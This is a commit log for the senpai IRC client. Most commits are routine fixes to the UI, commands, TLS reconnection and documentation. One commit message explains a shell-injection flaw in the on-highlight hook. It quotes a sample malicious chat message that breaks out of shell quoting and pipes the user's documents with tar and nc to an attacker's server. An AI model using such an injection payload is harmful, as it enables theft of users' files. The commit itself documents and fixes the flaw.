summaryrefslogtreecommitdiff
Commit message (Collapse)AuthorAgeFilesLines
* Don't send typing=done when input is already emptyHubert Hirtz2021-07-133-7/+8
|
* Always update promptHubert Hirtz2021-07-131-10/+1
|
* Switch to the buffer of a new user-requested channel joindelthas2021-07-135-30/+50
|
* Clear the input on CTRL+C instead of quittingdelthas2021-07-133-1/+18
| | | | | | | | We have /QUIT for quitting. Most well-known IRC clients don't quit on CTRL+C but they do on QUIT. Clearing the editor input on CTRL+C is useful for shell-like behaviour "abort current line, let me start my line again".
* Ratelimit +typing and send +typing=done once onlydelthas2021-07-134-5/+43
| | | | | Fixes: #8 Fixes: #41
* Sort channel members by namedelthas2021-07-122-0/+17
| | | | | | | This is used for nick autocomplete and for /NAMES. It will also be used for the vertical user list in the UI in a upcoming patch.
* Ignore case when searching for a /BUFFERdelthas2021-07-121-1/+2
| | | | Best-effort regular casemapping, not the IRC session's one. :P
* Fix backspace support on some terminalsdelthas2021-07-121-1/+1
| | | | Namely the emulated Jetbrains Golang debugging PTY. :)
* Do not print empty rowsHubert Hirtz2021-07-111-0/+4
| | | | | If a message contains a sequence of spaces/tabs that is wider than the terminal, do not print an empty row.
* Update tcellHubert Hirtz2021-07-112-3/+3
| | | | Pull in foot support
* Fix senpai(5) formattingHubert Hirtz2021-07-101-1/+1
|
* ui: don't mark // in input as a commandAlexey Yerin2021-07-081-1/+5
| | | | | | | | | Prior to this, IsCommand was returning true for inputs starting with two slashes and thus showing ">"-prompt. This is a possible confusion (and unwanted behaviour) because the user might think that they are writing a command but in fact, the message would be sent verbatim (excluding first slash).
* doc/senpai.5: mention the issue with \ disappearingAlexey Yerin2021-05-281-1/+18
| | | | Fixes #65
* Add colors.prompt option to set prompt colorAlexey Yerin2021-05-283-2/+71
|
* Also make dashes gray for command responsesHubert Hirtz2021-05-261-6/+8
|
* Pick nick colors in terminal color schemeHubert Hirtz2021-05-269-372/+515
| | | | So that the colors go well with the terminal background.
* Do not go into infinite loops on TLS mismatchHubert Hirtz2021-05-261-0/+6
| | | | | | | | - do the TLS eagerly instead of waiting for the first write, so that an error message can be printed, - sleep for 10 seconds before reconnecting, otherwise when connecting without TLS to a TLS server, the connection will always succeed while the first writes will not.
* Fix ui testsHubert Hirtz2021-05-252-14/+14
|
* commands: use rawArgs on non-commandAlexey Yerin2021-05-251-1/+1
| | | | | | | | This way, the first slash when doing //-message is not deleted because parseMessage writes the result to rawArgs, instead of the editor content. Fixes #63
* commands: do not handle s == ""Alexey Yerin2021-05-251-4/+0
| | | | handleInput already checks for this.
* doc/senpai.5: update docs for addr fieldAlexey Yerin2021-05-251-3/+3
| | | | | | * senpai automatically adds :6697 or :6667 when not set, thus the port is optional * Non-TLS connections are supported, too
* Moving to libera.chatAlexey Yerin2021-05-252-4/+4
| | | | | | Because the part later suggests joining #senpai, which is now on Libera.Chat instead of Freenode, it would make sense to update this as well.
* commands: use Home constant instead of "home"Alexey Yerin2021-05-251-1/+1
|
* Disallow sending messages to homeAlexey Yerin2021-05-211-3/+10
| | | | | This is not a channel and if one wants to send messages to user "home", they would do "/msg home ..." instead.
* Remove parenthesis around noticesHubert Hirtz2021-05-212-4/+4
| | | | Reason: interaction with services don't render well with parenthesis
* Handle consecutive spaces on arg splitHubert Hirtz2021-05-201-1/+46
|
* Explicitly support keys in JOIN messagesHubert Hirtz2021-05-202-4/+11
|
* Separate command handling from plain messagesHubert Hirtz2021-05-201-23/+24
| | | | | - So that lone slashes can be recognised - Also handle two slashes and pass them as one in plain input
* Fix races conditionsHubert Hirtz2021-05-209-799/+583
| | | | | | | | | | | | | | | | | | | | Refactor: - Split out reads/writes from irc.Session to irc.ChanInOut, - Message handling is now manual, messages must be passed to irc.Session.HandleMessage for its state to change, - Remove data-race-prone App.addLineNow (called from both the main eventLoop and irc loops) and add App.addStatusLine (to be called from the main event loop) and App.queueStatusLine (to be called from other goroutines). These two functions now write to both the current buffer and the home buffer, - add a irc.Typings.List function that locks the list of typings before accessing it. Changes as I went through the whole code... - CAP handling is fixed (especially CAP DEL and CAP ACK), - irc.Session now handles PREFIX, - unhandled messages are now shown, except for some rare cases where it's completely useless to show them.
* Add /mode commandAlexey Yerin2021-05-183-0/+41
|
* Add /nickHubert Hirtz2021-05-183-0/+35
|
* Add port if missing (v2) and don't set keepalivesHubert Hirtz2021-05-171-22/+9
|
* commands: ignore empty inputAlexey Yerin2021-05-171-0/+4
| | | | | | | | | | Prior to this, when sending nothing, senpai throws the following nonsense at you: "": usage: Now empty input is ignored, preventing this from appearing (whitespace-only message should still work).
* ui/editor: add boundary checks for word actionsAlexey Yerin2021-05-171-3/+3
| | | | | Prior to this, if the input is spaced out (whitespace skip), word movements caused senpai to crash because there were no boundary checks.
* Update tcell to 2.3.1Hubert Hirtz2021-05-172-3/+3
| | | | | https://github.com/gdamore/tcell/releases/tag/v2.3.0 https://github.com/gdamore/tcell/releases/tag/v2.3.1
* Properly show cursor on two-width charactersHubert Hirtz2021-05-111-8/+2
|
* go fmtHubert Hirtz2021-05-111-3/+2
|
* Don't look for nor execute sh when on-highlight is emptyHubert Hirtz2021-05-011-0/+3
|
* Print config error message on stderrHubert Hirtz2021-05-011-1/+1
|
* Update documentation examples and add warningHubert Hirtz2021-05-011-3/+4
|
* Use environment variables for on-highlightAlexey Yerin2021-05-012-17/+16
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Breaking change! The old approach of format modifiers is not ideal and usually has problems with shell quoting, that way anyone is able to get a remote shell just by sending a malicious message like: <evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; " Given that my on-highlight is: notify-send "%b" "<%n> %m" This would be transformed into: notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "" And this way it becomes a huge security vulnerability. When using environment variables combined with double quotes, shell escapes everything that appears there and gives the raw result to command executed. Though, this requires a little update to users' on-highlight setting: %b -> $BUFFER %n -> $SENDER %m -> $MESSAGE %h -> $HERE
* Better error reporting about configuration fileHubert Hirtz2021-04-302-6/+13
| | | | | | | - Better errors in config.go - Do not print useless timestamps in cmd/senpai/main.go - Let os.UserConfigDir() and senpai.NewApp() call panic on error since they both should not fail.
* Use path.Join to construct config file pathAlexey Yerin2021-04-292-2/+4
| | | | | It would make it work on non-Unix systems and also handle things like .. in the configuration option
* Make mouse support optionalAlexey Yerin2021-04-284-1/+14
| | | | | | To not break existing users, mouse is enabled by default but you have an option to disable it with "mouse: false" in your /.confg/senpai/senpai.yaml.
* Make sure app.s is not nil when issuing quitAlexey Yerin2021-04-271-1/+3
| | | | | Prior to this, when the connection is lost, issuing /quit was causing a segfault.
* editor: Ctrl+{Right,Left} moves cursor by wordsAlexey Yerin2021-04-273-0/+43
| | | | | A very useful readline feature when combined with ^W can be a really quick way to reformat a sentence, which is what I do on IRC quite often.
* Add BUFFER command to jump to the matching bufferAlexey Yerin2021-04-273-0/+32
| | | | | Is is very useful when you have joined a bunch of channels and scrolling with Ctrl+n/Ctrl+p is quite inefficient.
* senpai.5: fix typoAlexey Yerin2021-04-271-1/+1
|
* Fix duplicate lines when scrolling upHubert Hirtz2021-04-272-1/+30
|
* Add option to disable sending typing notificationsHubert Hirtz2021-04-273-2/+8
|